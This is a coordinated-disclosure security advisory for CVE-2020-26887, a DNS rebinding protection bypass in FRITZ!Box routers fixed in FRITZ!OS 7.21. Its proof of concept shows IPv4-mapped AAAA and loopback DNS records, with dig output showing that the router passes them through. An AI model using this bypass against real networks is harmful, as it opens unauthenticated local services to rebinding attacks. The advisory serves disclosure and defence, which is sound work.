Advisory: FRITZ!Box DNS Rebinding Protection Bypass

RedTeam Pentesting discovered a vulnerability in FRITZ!Box router
devices which allows to resolve DNS answers that point to IP addresses
in the private local network, despite the DNS rebinding protection
mechanism.


Details
=======

Product: FRITZ!Box 7490 and potentially others
Affected Versions:  7.20 and below
Fixed Versions: >= 7.21
Vulnerability Type: Bypass
Security Risk: low
Vendor URL: https://en.avm.de/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-003
Advisory Status: published
CVE: 2020-26887 
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26887


Introduction
============

"For security reasons, the FRITZ!Box suppresses DNS responses that refer
to IP addresses in its own home network. This is a security function of
the FRITZ!Box to protect against what are known as DNS rebinding
attacks."

(from the vendor's homepage)


More Details
============

FRITZ!Box router devices employ a protection mechanism against DNS
rebinding attacks. If a DNS answer points to an IP address in the
private network range of the router, the answer is suppressed. Suppose
the FRITZ!Box routers DHCP server is in its default configuration and
serves the private IP range of 192.168.178.1/24. If a DNS request is
made by a connected device, which resolves to an IPv4 address in the
configured private IP range (for example 192.168.178.20) an empty answer
is returned. However, if instead the DNS answer contains an AAAA-record
with the same private IP address in its IPv6 representation
(::ffff:192.168.178.20) it is returned successfully. Furthermore, DNS
requests which resolve to the loopback address 127.0.0.1 or the special
address 0.0.0.0 can be retrieved, too.


Proof of Concept
================

Supposing the following resource records (RR) are configured for different
subdomains of example.com:

------------------------------------------------------------------------
private.example.com        1  IN  A     192.168.178.20
local.example.com          1  IN  A     127.0.0.1
privateipv6.example.com.   1  IN  AAAA  ::ffff:192.168.178.20
------------------------------------------------------------------------

A DNS request to the FRITZ!Box router for the subdomain
private.example.com returns an empty answer, as expected:

------------------------------------------------------------------------
$ dig private.example.com @192.168.178.1
; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> private.example.com @192.168.178.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58984
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;private.example.com.  IN  A
------------------------------------------------------------------------

DNS requests for the subdomains privateipv6.example.com and
local.example.com return the configured resource records successfully,
effectively bypassing the DNS rebinding protection:

------------------------------------------------------------------------
$ dig privateipv6.example.com @192.168.178.1 AAAA
; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> @192.168.178.1 privateipv6.example.com AAAA
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6510
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;privateipv6.example.com.  IN  AAAA

;; ANSWER SECTION:
privateipv6.example.com. 1  IN  AAAA  ::ffff:192.168.178.20


$ dig local.example.com @192.168.178.1
; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> local.example.com @192.168.178.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28549
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;local.example.com.  IN  A

;; ANSWER SECTION:
local.example.com. 1  IN  A  127.0.0.1
------------------------------------------------------------------------


Workaround
==========

None.


Fix
===

The problem is corrected in FRITZ!OS 7.21.


Security Risk
=============

As shown, the DNS rebinding protection of FRITZ!Box routers can be
bypassed allowing for DNS rebinding attacks against connected devices.
This type of attack however is only possible if vulnerable services are
present in the local network, which are reachable over HTTP without
authentication. The web interface of FRITZ!Box routers for example is
not vulnerable to this type of attack, since the HTTP Host header is
checked for known domains. For this reason the risk is estimated to be
low.


Timeline
========

2020-06-23 Vulnerability identified
2020-07-08 Vendor notified
2020-07-20 Vendor provided fixed version to RedTeam Pentesting
2020-07-23 Vendor notified of another problematic IP
2020-08-06 Vendor provided fixed version to RedTeam Pentesting
2020-10-06 Vendor starts distribution of fixed version for selected devices 
2020-10-19 Advisory released


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=======================

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